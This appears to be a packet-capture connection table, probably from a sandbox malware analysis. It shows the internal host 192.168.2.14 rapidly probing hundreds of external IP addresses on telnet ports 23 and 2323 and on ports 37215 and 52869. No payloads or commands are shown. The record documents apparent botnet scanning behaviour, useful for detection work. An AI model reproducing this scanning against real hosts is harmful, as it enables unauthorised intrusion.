Dec 4, 2024 20:34:38.045392036 CET	23	60787	166.181.73.92	192.168.2.14
Dec 4, 2024 20:34:38.045402050 CET	23	60787	68.147.187.167	192.168.2.14
Dec 4, 2024 20:34:38.045406103 CET	23	60787	90.44.78.232	192.168.2.14
Dec 4, 2024 20:34:38.045409918 CET	23	60787	135.200.254.57	192.168.2.14
Dec 4, 2024 20:34:38.045411110 CET	60787	23	192.168.2.14	102.95.13.165
Dec 4, 2024 20:34:38.045412064 CET	60787	2323	192.168.2.14	109.206.39.255
Dec 4, 2024 20:34:38.045413017 CET	60787	23	192.168.2.14	53.81.184.127
Dec 4, 2024 20:34:38.045414925 CET	23	60787	112.165.201.191	192.168.2.14
Dec 4, 2024 20:34:38.045417070 CET	60787	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:38.045417070 CET	60787	23	192.168.2.14	178.184.24.80
Dec 4, 2024 20:34:38.045417070 CET	60787	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:38.045419931 CET	60787	23	192.168.2.14	202.42.227.184
Dec 4, 2024 20:34:38.045459986 CET	60787	23	192.168.2.14	90.44.78.232
Dec 4, 2024 20:34:38.045459986 CET	60787	23	192.168.2.14	135.200.254.57
Dec 4, 2024 20:34:38.045464993 CET	60787	23	192.168.2.14	68.147.187.167
Dec 4, 2024 20:34:38.045464993 CET	60787	23	192.168.2.14	166.181.73.92
Dec 4, 2024 20:34:38.045464993 CET	60787	23	192.168.2.14	112.165.201.191
Dec 4, 2024 20:34:38.045768976 CET	58748	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.045938015 CET	23	60787	209.119.230.157	192.168.2.14
Dec 4, 2024 20:34:38.045955896 CET	23	60787	221.96.144.84	192.168.2.14
Dec 4, 2024 20:34:38.045979023 CET	23	60787	122.16.192.169	192.168.2.14
Dec 4, 2024 20:34:38.045984030 CET	60787	23	192.168.2.14	209.119.230.157
Dec 4, 2024 20:34:38.045994997 CET	23	60787	156.11.134.93	192.168.2.14
Dec 4, 2024 20:34:38.046004057 CET	60787	23	192.168.2.14	221.96.144.84
Dec 4, 2024 20:34:38.046011925 CET	23	60787	83.192.10.125	192.168.2.14
Dec 4, 2024 20:34:38.046022892 CET	23	60787	35.73.23.33	192.168.2.14
Dec 4, 2024 20:34:38.046034098 CET	23	60787	213.0.131.135	192.168.2.14
Dec 4, 2024 20:34:38.046037912 CET	60787	23	192.168.2.14	156.11.134.93
Dec 4, 2024 20:34:38.046039104 CET	2323	60787	194.4.243.162	192.168.2.14
Dec 4, 2024 20:34:38.046042919 CET	60787	23	192.168.2.14	122.16.192.169
Dec 4, 2024 20:34:38.046045065 CET	23	60787	123.61.46.196	192.168.2.14
Dec 4, 2024 20:34:38.046046972 CET	60787	23	192.168.2.14	83.192.10.125
Dec 4, 2024 20:34:38.046055079 CET	23	60787	155.187.88.149	192.168.2.14
Dec 4, 2024 20:34:38.046102047 CET	60787	23	192.168.2.14	123.61.46.196
Dec 4, 2024 20:34:38.046106100 CET	60787	23	192.168.2.14	213.0.131.135
Dec 4, 2024 20:34:38.046106100 CET	60787	23	192.168.2.14	155.187.88.149
Dec 4, 2024 20:34:38.046107054 CET	60787	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:38.046111107 CET	60787	2323	192.168.2.14	194.4.243.162
Dec 4, 2024 20:34:38.046122074 CET	23	60787	212.154.185.240	192.168.2.14
Dec 4, 2024 20:34:38.046132088 CET	23	60787	38.115.175.5	192.168.2.14
Dec 4, 2024 20:34:38.046140909 CET	23	60787	105.187.34.36	192.168.2.14
Dec 4, 2024 20:34:38.046150923 CET	2323	60787	169.208.138.94	192.168.2.14
Dec 4, 2024 20:34:38.046160936 CET	60787	23	192.168.2.14	38.115.175.5
Dec 4, 2024 20:34:38.046160936 CET	23	60787	60.226.8.43	192.168.2.14
Dec 4, 2024 20:34:38.046165943 CET	60787	23	192.168.2.14	212.154.185.240
Dec 4, 2024 20:34:38.046168089 CET	23	60787	121.150.156.158	192.168.2.14
Dec 4, 2024 20:34:38.046176910 CET	23	60787	17.12.167.168	192.168.2.14
Dec 4, 2024 20:34:38.046186924 CET	23	60787	47.5.158.109	192.168.2.14
Dec 4, 2024 20:34:38.046188116 CET	60787	23	192.168.2.14	105.187.34.36
Dec 4, 2024 20:34:38.046201944 CET	23	60787	35.216.117.155	192.168.2.14
Dec 4, 2024 20:34:38.046207905 CET	23	60787	77.99.46.89	192.168.2.14
Dec 4, 2024 20:34:38.046209097 CET	60787	23	192.168.2.14	60.226.8.43
Dec 4, 2024 20:34:38.046209097 CET	60787	2323	192.168.2.14	169.208.138.94
Dec 4, 2024 20:34:38.046212912 CET	23	60787	102.3.151.72	192.168.2.14
Dec 4, 2024 20:34:38.046216965 CET	60787	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:38.046236038 CET	23	60787	112.212.39.129	192.168.2.14
Dec 4, 2024 20:34:38.046247005 CET	23	60787	4.196.116.171	192.168.2.14
Dec 4, 2024 20:34:38.046252012 CET	23	60787	65.90.17.241	192.168.2.14
Dec 4, 2024 20:34:38.046255112 CET	60787	23	192.168.2.14	47.5.158.109
Dec 4, 2024 20:34:38.046255112 CET	60787	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:38.046256065 CET	23	60787	77.20.125.110	192.168.2.14
Dec 4, 2024 20:34:38.046257019 CET	60787	23	192.168.2.14	17.12.167.168
Dec 4, 2024 20:34:38.046257019 CET	60787	23	192.168.2.14	102.3.151.72
Dec 4, 2024 20:34:38.046260118 CET	23	60787	175.245.210.39	192.168.2.14
Dec 4, 2024 20:34:38.046268940 CET	23	60787	216.93.36.202	192.168.2.14
Dec 4, 2024 20:34:38.046268940 CET	60787	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:38.046274900 CET	23	60787	197.251.47.198	192.168.2.14
Dec 4, 2024 20:34:38.046288967 CET	60787	23	192.168.2.14	4.196.116.171
Dec 4, 2024 20:34:38.046297073 CET	60787	23	192.168.2.14	112.212.39.129
Dec 4, 2024 20:34:38.046298981 CET	60787	23	192.168.2.14	77.20.125.110
Dec 4, 2024 20:34:38.046302080 CET	60787	23	192.168.2.14	65.90.17.241
Dec 4, 2024 20:34:38.046303034 CET	60787	23	192.168.2.14	216.93.36.202
Dec 4, 2024 20:34:38.046303034 CET	60787	23	192.168.2.14	175.245.210.39
Dec 4, 2024 20:34:38.046312094 CET	60787	23	192.168.2.14	197.251.47.198
Dec 4, 2024 20:34:38.046544075 CET	36794	23	192.168.2.14	156.118.206.190
Dec 4, 2024 20:34:38.047200918 CET	33176	23	192.168.2.14	135.235.221.33
Dec 4, 2024 20:34:38.047935963 CET	39774	23	192.168.2.14	38.190.242.142
Dec 4, 2024 20:34:38.048609018 CET	38182	23	192.168.2.14	154.132.128.218
Dec 4, 2024 20:34:38.049278021 CET	50466	23	192.168.2.14	73.250.169.5
Dec 4, 2024 20:34:38.049963951 CET	51692	23	192.168.2.14	120.100.34.2
Dec 4, 2024 20:34:38.050641060 CET	47512	23	192.168.2.14	201.185.25.246
Dec 4, 2024 20:34:38.051295042 CET	48222	23	192.168.2.14	172.136.149.20
Dec 4, 2024 20:34:38.051944017 CET	59430	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.052576065 CET	43720	23	192.168.2.14	192.52.34.210
Dec 4, 2024 20:34:38.053225040 CET	35682	23	192.168.2.14	186.118.142.14
Dec 4, 2024 20:34:38.053956985 CET	50170	2323	192.168.2.14	161.11.19.119
Dec 4, 2024 20:34:38.054596901 CET	36698	2323	192.168.2.14	123.52.228.250
Dec 4, 2024 20:34:38.055337906 CET	39264	23	192.168.2.14	148.152.31.68
Dec 4, 2024 20:34:38.056014061 CET	55450	23	192.168.2.14	189.75.225.228
Dec 4, 2024 20:34:38.056653023 CET	33210	23	192.168.2.14	27.48.39.174
Dec 4, 2024 20:34:38.057318926 CET	38080	23	192.168.2.14	5.22.169.122
Dec 4, 2024 20:34:38.058012009 CET	58010	23	192.168.2.14	92.243.201.93
Dec 4, 2024 20:34:38.058680058 CET	39968	23	192.168.2.14	200.32.151.196
Dec 4, 2024 20:34:38.059302092 CET	34172	23	192.168.2.14	121.31.44.183
Dec 4, 2024 20:34:38.059937000 CET	36994	2323	192.168.2.14	145.108.93.61
Dec 4, 2024 20:34:38.060559034 CET	40510	23	192.168.2.14	176.98.9.17
Dec 4, 2024 20:34:38.061151981 CET	59076	23	192.168.2.14	178.184.24.80
Dec 4, 2024 20:34:38.061752081 CET	46664	23	192.168.2.14	53.81.184.127
Dec 4, 2024 20:34:38.062361956 CET	48786	2323	192.168.2.14	109.206.39.255
Dec 4, 2024 20:34:38.062972069 CET	46540	23	192.168.2.14	102.95.13.165
Dec 4, 2024 20:34:38.063623905 CET	43196	2323	192.168.2.14	110.249.17.90
Dec 4, 2024 20:34:38.064237118 CET	52858	23	192.168.2.14	202.42.227.184
Dec 4, 2024 20:34:38.064883947 CET	57208	23	192.168.2.14	68.147.187.167
Dec 4, 2024 20:34:38.065514088 CET	40956	23	192.168.2.14	166.181.73.92
Dec 4, 2024 20:34:38.065577984 CET	37215	55966	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:38.065588951 CET	37215	34400	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:38.065643072 CET	55966	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:38.065643072 CET	34400	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:38.065701008 CET	34400	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:38.065710068 CET	55966	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:38.065743923 CET	60275	37215	192.168.2.14	156.159.45.25
Dec 4, 2024 20:34:38.065751076 CET	60275	37215	192.168.2.14	197.213.226.201
Dec 4, 2024 20:34:38.065752983 CET	60275	37215	192.168.2.14	156.176.128.75
Dec 4, 2024 20:34:38.065754890 CET	60275	37215	192.168.2.14	156.14.202.207
Dec 4, 2024 20:34:38.065762043 CET	60275	37215	192.168.2.14	197.50.9.218
Dec 4, 2024 20:34:38.065762997 CET	60275	37215	192.168.2.14	156.136.56.201
Dec 4, 2024 20:34:38.065763950 CET	60275	37215	192.168.2.14	156.154.53.148
Dec 4, 2024 20:34:38.065779924 CET	60275	37215	192.168.2.14	197.252.53.219
Dec 4, 2024 20:34:38.065779924 CET	60275	37215	192.168.2.14	197.31.218.39
Dec 4, 2024 20:34:38.065781116 CET	60275	37215	192.168.2.14	197.240.185.202
Dec 4, 2024 20:34:38.065782070 CET	60275	37215	192.168.2.14	41.29.11.77
Dec 4, 2024 20:34:38.065784931 CET	60275	37215	192.168.2.14	156.36.129.101
Dec 4, 2024 20:34:38.065784931 CET	60275	37215	192.168.2.14	156.6.37.84
Dec 4, 2024 20:34:38.065785885 CET	60275	37215	192.168.2.14	156.163.200.32
Dec 4, 2024 20:34:38.065784931 CET	60275	37215	192.168.2.14	197.110.3.149
Dec 4, 2024 20:34:38.065785885 CET	60275	37215	192.168.2.14	41.128.253.238
Dec 4, 2024 20:34:38.065798044 CET	60275	37215	192.168.2.14	41.222.119.53
Dec 4, 2024 20:34:38.065800905 CET	60275	37215	192.168.2.14	41.235.132.148
Dec 4, 2024 20:34:38.065800905 CET	60275	37215	192.168.2.14	41.218.41.24
Dec 4, 2024 20:34:38.065802097 CET	60275	37215	192.168.2.14	197.161.189.165
Dec 4, 2024 20:34:38.065800905 CET	60275	37215	192.168.2.14	197.195.218.89
Dec 4, 2024 20:34:38.065803051 CET	60275	37215	192.168.2.14	197.249.124.114
Dec 4, 2024 20:34:38.065812111 CET	60275	37215	192.168.2.14	156.108.30.124
Dec 4, 2024 20:34:38.065813065 CET	60275	37215	192.168.2.14	197.205.49.2
Dec 4, 2024 20:34:38.065813065 CET	60275	37215	192.168.2.14	41.12.119.149
Dec 4, 2024 20:34:38.065820932 CET	60275	37215	192.168.2.14	156.180.244.56
Dec 4, 2024 20:34:38.065820932 CET	60275	37215	192.168.2.14	197.216.117.183
Dec 4, 2024 20:34:38.065834045 CET	60275	37215	192.168.2.14	156.184.95.211
Dec 4, 2024 20:34:38.065834045 CET	60275	37215	192.168.2.14	156.39.238.0
Dec 4, 2024 20:34:38.065834999 CET	60275	37215	192.168.2.14	156.176.131.178
Dec 4, 2024 20:34:38.065834045 CET	60275	37215	192.168.2.14	41.113.161.109
Dec 4, 2024 20:34:38.065835953 CET	60275	37215	192.168.2.14	156.200.232.143
Dec 4, 2024 20:34:38.065834045 CET	60275	37215	192.168.2.14	156.246.37.214
Dec 4, 2024 20:34:38.065835953 CET	60275	37215	192.168.2.14	41.233.35.58
Dec 4, 2024 20:34:38.065836906 CET	60275	37215	192.168.2.14	156.48.32.3
Dec 4, 2024 20:34:38.065835953 CET	60275	37215	192.168.2.14	197.176.224.190
Dec 4, 2024 20:34:38.065839052 CET	60275	37215	192.168.2.14	41.77.197.177
Dec 4, 2024 20:34:38.065835953 CET	60275	37215	192.168.2.14	156.234.52.53
Dec 4, 2024 20:34:38.065846920 CET	60275	37215	192.168.2.14	156.95.177.164
Dec 4, 2024 20:34:38.065849066 CET	60275	37215	192.168.2.14	197.239.111.70
Dec 4, 2024 20:34:38.065849066 CET	60275	37215	192.168.2.14	41.0.183.192
Dec 4, 2024 20:34:38.065849066 CET	60275	37215	192.168.2.14	41.85.206.78
Dec 4, 2024 20:34:38.065849066 CET	60275	37215	192.168.2.14	156.60.234.237
Dec 4, 2024 20:34:38.065850973 CET	60275	37215	192.168.2.14	156.107.198.179
Dec 4, 2024 20:34:38.065854073 CET	60275	37215	192.168.2.14	41.46.87.37
Dec 4, 2024 20:34:38.065855980 CET	60275	37215	192.168.2.14	197.59.161.231
Dec 4, 2024 20:34:38.065872908 CET	60275	37215	192.168.2.14	41.151.98.217
Dec 4, 2024 20:34:38.065872908 CET	60275	37215	192.168.2.14	41.60.53.116
Dec 4, 2024 20:34:38.065876007 CET	60275	37215	192.168.2.14	156.149.162.92
Dec 4, 2024 20:34:38.065876961 CET	60275	37215	192.168.2.14	197.253.92.175
Dec 4, 2024 20:34:38.065876961 CET	60275	37215	192.168.2.14	41.58.71.18
Dec 4, 2024 20:34:38.065876961 CET	60275	37215	192.168.2.14	156.171.123.79
Dec 4, 2024 20:34:38.065876961 CET	60275	37215	192.168.2.14	197.105.104.112
Dec 4, 2024 20:34:38.065876961 CET	60275	37215	192.168.2.14	197.158.248.121
Dec 4, 2024 20:34:38.065880060 CET	60275	37215	192.168.2.14	197.195.9.2
Dec 4, 2024 20:34:38.065880060 CET	60275	37215	192.168.2.14	197.253.82.5
Dec 4, 2024 20:34:38.065881014 CET	60275	37215	192.168.2.14	156.112.202.62
Dec 4, 2024 20:34:38.065881014 CET	60275	37215	192.168.2.14	41.122.133.224
Dec 4, 2024 20:34:38.065881014 CET	60275	37215	192.168.2.14	156.206.243.75
Dec 4, 2024 20:34:38.065901041 CET	60275	37215	192.168.2.14	156.115.57.8
Dec 4, 2024 20:34:38.065901041 CET	60275	37215	192.168.2.14	156.119.109.115
Dec 4, 2024 20:34:38.065901995 CET	60275	37215	192.168.2.14	41.210.185.158
Dec 4, 2024 20:34:38.065901041 CET	60275	37215	192.168.2.14	197.21.115.69
Dec 4, 2024 20:34:38.065901995 CET	60275	37215	192.168.2.14	156.82.134.165
Dec 4, 2024 20:34:38.065901995 CET	60275	37215	192.168.2.14	156.190.192.31
Dec 4, 2024 20:34:38.065908909 CET	60275	37215	192.168.2.14	41.133.180.170
Dec 4, 2024 20:34:38.065908909 CET	60275	37215	192.168.2.14	156.88.218.203
Dec 4, 2024 20:34:38.065910101 CET	60275	37215	192.168.2.14	197.156.63.156
Dec 4, 2024 20:34:38.065911055 CET	60275	37215	192.168.2.14	197.109.95.75
Dec 4, 2024 20:34:38.065911055 CET	60275	37215	192.168.2.14	41.48.193.80
Dec 4, 2024 20:34:38.065934896 CET	60275	37215	192.168.2.14	41.3.15.241
Dec 4, 2024 20:34:38.065936089 CET	60275	37215	192.168.2.14	156.226.55.152
Dec 4, 2024 20:34:38.065936089 CET	60275	37215	192.168.2.14	41.6.39.16
Dec 4, 2024 20:34:38.065936089 CET	60275	37215	192.168.2.14	41.170.221.255
Dec 4, 2024 20:34:38.065937042 CET	60275	37215	192.168.2.14	156.92.250.187
Dec 4, 2024 20:34:38.065937042 CET	60275	37215	192.168.2.14	41.42.80.189
Dec 4, 2024 20:34:38.065937996 CET	60275	37215	192.168.2.14	197.164.211.127
Dec 4, 2024 20:34:38.065938950 CET	60275	37215	192.168.2.14	156.71.231.131
Dec 4, 2024 20:34:38.065936089 CET	60275	37215	192.168.2.14	197.139.142.132
Dec 4, 2024 20:34:38.065937996 CET	60275	37215	192.168.2.14	197.72.211.249
Dec 4, 2024 20:34:38.065938950 CET	60275	37215	192.168.2.14	197.205.226.36
Dec 4, 2024 20:34:38.065937996 CET	60275	37215	192.168.2.14	197.121.49.120
Dec 4, 2024 20:34:38.065938950 CET	60275	37215	192.168.2.14	156.217.248.242
Dec 4, 2024 20:34:38.065937996 CET	60275	37215	192.168.2.14	41.141.200.105
Dec 4, 2024 20:34:38.065942049 CET	60275	37215	192.168.2.14	197.0.14.62
Dec 4, 2024 20:34:38.065942049 CET	60275	37215	192.168.2.14	197.30.24.197
Dec 4, 2024 20:34:38.065942049 CET	60275	37215	192.168.2.14	156.195.202.207
Dec 4, 2024 20:34:38.065942049 CET	60275	37215	192.168.2.14	156.22.183.218
Dec 4, 2024 20:34:38.065944910 CET	60275	37215	192.168.2.14	156.20.51.84
Dec 4, 2024 20:34:38.065944910 CET	60275	37215	192.168.2.14	156.128.132.55
Dec 4, 2024 20:34:38.065944910 CET	60275	37215	192.168.2.14	156.37.205.235
Dec 4, 2024 20:34:38.065944910 CET	60275	37215	192.168.2.14	197.21.132.217
Dec 4, 2024 20:34:38.065944910 CET	60275	37215	192.168.2.14	156.217.108.113
Dec 4, 2024 20:34:38.065954924 CET	60275	37215	192.168.2.14	156.187.29.19
Dec 4, 2024 20:34:38.065954924 CET	60275	37215	192.168.2.14	156.149.232.170
Dec 4, 2024 20:34:38.065956116 CET	60275	37215	192.168.2.14	41.91.241.118
Dec 4, 2024 20:34:38.065963030 CET	60275	37215	192.168.2.14	156.39.165.229
Dec 4, 2024 20:34:38.065965891 CET	60275	37215	192.168.2.14	41.212.87.215
Dec 4, 2024 20:34:38.065965891 CET	60275	37215	192.168.2.14	197.135.230.32
Dec 4, 2024 20:34:38.065965891 CET	60275	37215	192.168.2.14	41.76.221.31
Dec 4, 2024 20:34:38.065967083 CET	60275	37215	192.168.2.14	41.239.184.77
Dec 4, 2024 20:34:38.065967083 CET	60275	37215	192.168.2.14	156.1.199.24
Dec 4, 2024 20:34:38.065967083 CET	60275	37215	192.168.2.14	197.119.12.49
Dec 4, 2024 20:34:38.065967083 CET	60275	37215	192.168.2.14	197.139.211.222
Dec 4, 2024 20:34:38.065968037 CET	60275	37215	192.168.2.14	197.173.42.146
Dec 4, 2024 20:34:38.065968990 CET	60275	37215	192.168.2.14	197.61.17.113
Dec 4, 2024 20:34:38.065967083 CET	60275	37215	192.168.2.14	41.217.155.224
Dec 4, 2024 20:34:38.065968990 CET	60275	37215	192.168.2.14	197.31.200.55
Dec 4, 2024 20:34:38.065969944 CET	60275	37215	192.168.2.14	41.151.24.251
Dec 4, 2024 20:34:38.065968990 CET	60275	37215	192.168.2.14	41.19.209.133
Dec 4, 2024 20:34:38.065989971 CET	60275	37215	192.168.2.14	197.233.155.87
Dec 4, 2024 20:34:38.065989971 CET	60275	37215	192.168.2.14	156.127.228.0
Dec 4, 2024 20:34:38.065989971 CET	60275	37215	192.168.2.14	156.86.158.160
Dec 4, 2024 20:34:38.065992117 CET	60275	37215	192.168.2.14	156.120.243.218
Dec 4, 2024 20:34:38.065992117 CET	60275	37215	192.168.2.14	41.146.255.63
Dec 4, 2024 20:34:38.065992117 CET	60275	37215	192.168.2.14	197.213.130.201
Dec 4, 2024 20:34:38.065993071 CET	60275	37215	192.168.2.14	197.133.60.210
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	197.112.15.167
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	156.15.217.107
Dec 4, 2024 20:34:38.065995932 CET	60275	37215	192.168.2.14	156.211.95.177
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	41.227.118.149
Dec 4, 2024 20:34:38.065996885 CET	60275	37215	192.168.2.14	197.70.134.108
Dec 4, 2024 20:34:38.065995932 CET	60275	37215	192.168.2.14	197.145.15.71
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	41.79.116.147
Dec 4, 2024 20:34:38.065996885 CET	60275	37215	192.168.2.14	41.38.10.72
Dec 4, 2024 20:34:38.065995932 CET	60275	37215	192.168.2.14	41.218.138.50
Dec 4, 2024 20:34:38.065996885 CET	60275	37215	192.168.2.14	197.35.85.232
Dec 4, 2024 20:34:38.065995932 CET	60275	37215	192.168.2.14	41.172.172.179
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	197.52.149.96
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	156.145.104.197
Dec 4, 2024 20:34:38.065994978 CET	60275	37215	192.168.2.14	197.185.0.105
Dec 4, 2024 20:34:38.066010952 CET	60275	37215	192.168.2.14	41.176.36.0
Dec 4, 2024 20:34:38.066010952 CET	60275	37215	192.168.2.14	156.41.49.175
Dec 4, 2024 20:34:38.066014051 CET	60275	37215	192.168.2.14	41.77.200.30
Dec 4, 2024 20:34:38.066016912 CET	60275	37215	192.168.2.14	41.122.79.212
Dec 4, 2024 20:34:38.066016912 CET	60275	37215	192.168.2.14	41.166.247.82
Dec 4, 2024 20:34:38.066020012 CET	60275	37215	192.168.2.14	41.33.95.11
Dec 4, 2024 20:34:38.066020012 CET	60275	37215	192.168.2.14	197.134.123.17
Dec 4, 2024 20:34:38.066020012 CET	60275	37215	192.168.2.14	41.252.35.42
Dec 4, 2024 20:34:38.066020012 CET	60275	37215	192.168.2.14	41.55.63.42
Dec 4, 2024 20:34:38.066020012 CET	60275	37215	192.168.2.14	41.252.93.115
Dec 4, 2024 20:34:38.066024065 CET	60275	37215	192.168.2.14	41.24.213.163
Dec 4, 2024 20:34:38.066024065 CET	60275	37215	192.168.2.14	156.54.222.178
Dec 4, 2024 20:34:38.066024065 CET	60275	37215	192.168.2.14	41.91.246.16
Dec 4, 2024 20:34:38.066026926 CET	60275	37215	192.168.2.14	156.112.203.154
Dec 4, 2024 20:34:38.066035032 CET	60275	37215	192.168.2.14	156.155.61.216
Dec 4, 2024 20:34:38.066036940 CET	60275	37215	192.168.2.14	41.14.51.214
Dec 4, 2024 20:34:38.066037893 CET	60275	37215	192.168.2.14	41.108.5.67
Dec 4, 2024 20:34:38.066042900 CET	60275	37215	192.168.2.14	197.16.97.186
Dec 4, 2024 20:34:38.066042900 CET	60275	37215	192.168.2.14	197.230.120.35
Dec 4, 2024 20:34:38.066042900 CET	60275	37215	192.168.2.14	41.194.176.121
Dec 4, 2024 20:34:38.066042900 CET	60275	37215	192.168.2.14	41.146.27.9
Dec 4, 2024 20:34:38.066045046 CET	60275	37215	192.168.2.14	156.145.217.181
Dec 4, 2024 20:34:38.066045046 CET	60275	37215	192.168.2.14	197.20.150.179
Dec 4, 2024 20:34:38.066045046 CET	60275	37215	192.168.2.14	197.73.239.207
Dec 4, 2024 20:34:38.066045046 CET	60275	37215	192.168.2.14	197.191.132.27
Dec 4, 2024 20:34:38.066051960 CET	60275	37215	192.168.2.14	197.205.116.22
Dec 4, 2024 20:34:38.066051960 CET	60275	37215	192.168.2.14	156.252.78.151
Dec 4, 2024 20:34:38.066056013 CET	60275	37215	192.168.2.14	156.208.105.236
Dec 4, 2024 20:34:38.066061020 CET	60275	37215	192.168.2.14	41.213.179.50
Dec 4, 2024 20:34:38.066298962 CET	32968	23	192.168.2.14	90.44.78.232
Dec 4, 2024 20:34:38.066905022 CET	57436	23	192.168.2.14	135.200.254.57
Dec 4, 2024 20:34:38.067511082 CET	49566	23	192.168.2.14	112.165.201.191
Dec 4, 2024 20:34:38.068124056 CET	47512	23	192.168.2.14	209.119.230.157
Dec 4, 2024 20:34:38.068727016 CET	51024	23	192.168.2.14	221.96.144.84
Dec 4, 2024 20:34:38.069323063 CET	42334	23	192.168.2.14	122.16.192.169
Dec 4, 2024 20:34:38.069928885 CET	54098	23	192.168.2.14	156.11.134.93
Dec 4, 2024 20:34:38.070529938 CET	57026	23	192.168.2.14	83.192.10.125
Dec 4, 2024 20:34:38.071188927 CET	56506	23	192.168.2.14	123.61.46.196
Dec 4, 2024 20:34:38.071809053 CET	46068	23	192.168.2.14	35.73.23.33
Dec 4, 2024 20:34:38.072407007 CET	54572	23	192.168.2.14	213.0.131.135
Dec 4, 2024 20:34:38.073004961 CET	45350	2323	192.168.2.14	194.4.243.162
Dec 4, 2024 20:34:38.073611975 CET	43522	23	192.168.2.14	155.187.88.149
Dec 4, 2024 20:34:38.074204922 CET	56618	23	192.168.2.14	212.154.185.240
Dec 4, 2024 20:34:38.074801922 CET	58646	23	192.168.2.14	38.115.175.5
Dec 4, 2024 20:34:38.075409889 CET	57208	23	192.168.2.14	105.187.34.36
Dec 4, 2024 20:34:38.076014996 CET	46006	23	192.168.2.14	60.226.8.43
Dec 4, 2024 20:34:38.076627016 CET	59708	2323	192.168.2.14	169.208.138.94
Dec 4, 2024 20:34:38.077245951 CET	53680	23	192.168.2.14	121.150.156.158
Dec 4, 2024 20:34:38.077860117 CET	35014	23	192.168.2.14	47.5.158.109
Dec 4, 2024 20:34:38.078521013 CET	43042	23	192.168.2.14	17.12.167.168
Dec 4, 2024 20:34:38.079137087 CET	60462	23	192.168.2.14	77.99.46.89
Dec 4, 2024 20:34:38.079756975 CET	53124	23	192.168.2.14	35.216.117.155
Dec 4, 2024 20:34:38.080344915 CET	50224	23	192.168.2.14	102.3.151.72
Dec 4, 2024 20:34:38.198256969 CET	55812	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.198266029 CET	34282	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:38.198263884 CET	47126	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:38.198266029 CET	50966	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:38.198277950 CET	38464	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:38.198282957 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:38.198293924 CET	56464	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:38.198295116 CET	59414	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.198295116 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:38.198306084 CET	50430	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.198306084 CET	48982	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:38.198313951 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:38.198322058 CET	41860	52869	192.168.2.14	156.111.130.19
Dec 4, 2024 20:34:38.198343039 CET	52510	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:38.198358059 CET	37226	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:38.198371887 CET	53986	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:38.198379040 CET	60596	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:38.257318020 CET	37215	59134	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:38.257334948 CET	37215	46674	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:38.257344961 CET	37215	40004	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:38.257350922 CET	37215	37246	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:38.257460117 CET	59134	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:38.257469893 CET	46674	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:38.257484913 CET	40004	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:38.257508039 CET	37246	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:38.257550001 CET	37246	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:38.257581949 CET	40004	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:38.257587910 CET	23	42426	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.257589102 CET	59134	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:38.257590055 CET	46674	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:38.257605076 CET	23	32846	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.257617950 CET	23	46566	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.257628918 CET	23	33504	170.27.80.233	192.168.2.14
Dec 4, 2024 20:34:38.257639885 CET	23	60938	19.29.83.143	192.168.2.14
Dec 4, 2024 20:34:38.257648945 CET	32846	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.257651091 CET	2323	37024	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.257656097 CET	46566	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.257656097 CET	42426	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.257661104 CET	33504	23	192.168.2.14	170.27.80.233
Dec 4, 2024 20:34:38.257662058 CET	23	58746	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.257672071 CET	23	58748	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.257678032 CET	60938	23	192.168.2.14	19.29.83.143
